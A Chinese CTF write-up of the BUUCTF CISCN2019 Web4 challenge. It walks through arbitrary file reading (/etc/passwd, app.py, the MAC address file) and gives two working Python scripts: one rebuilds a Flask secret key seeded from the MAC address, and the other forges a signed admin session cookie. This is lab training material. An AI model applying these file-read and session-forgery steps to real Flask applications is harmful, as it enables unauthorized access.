zoukankan      html  css  js  c++  java
  • BUUCTF[CISCN2019 华东南赛区]Web4 wp

    知识点:任意文件读取,代码审计,flask session伪造

    进入页面

    点击Read somethings后发现url参数,尝试ssrf无果后怀疑存在任意文件读取

     

    尝试读取/etc/passwd,读取成功,并发现可疑文件/app

     

    读取app.py,发现源码

     

     

    审计源码后发现需要进行flask session伪造,当session[username]为fuck的时候即可获得flag。

     

    往上审计,发现secret key是由mac地址做为随机数的种子生成的,所以可以进行伪造

     

    读取/sys/class/net/eth0/address获得mac地址后编写脚本进行伪造session

    伪造密钥脚本

    import random
    m="02:42:ae:00:de:bc"
    mac=m.replace(":", "")
    random.seed(int(mac,16))
    key = str(random.random() * 233)
    print(key)

     

    伪造session脚本

    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(72.8923578256)
    payload = {u'username': 'fuck'}
    serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    session = serializer.dumps(payload)
    print(session)

    运行脚本得到session后使用burp传输,获得flag

     

     

  • 相关阅读:
    2018/12/08 L1-043 阅览室 Java
    2018/12/08 L1-042 日期格式化 Java
    breeze源码阅读心得
    Spark ML源码分析之四 树
    Spark ML源码分析之三 分类器
    Spark ML源码分析之二 从单机到分布式
    Spark ML源码分析之一 设计框架解读
    Adaboost的意义
    RBM如何训练?
    ChromeTimeline
  • 原文地址:https://www.cnblogs.com/Yhck/p/13625271.html
Copyright © 2011-2022 走看看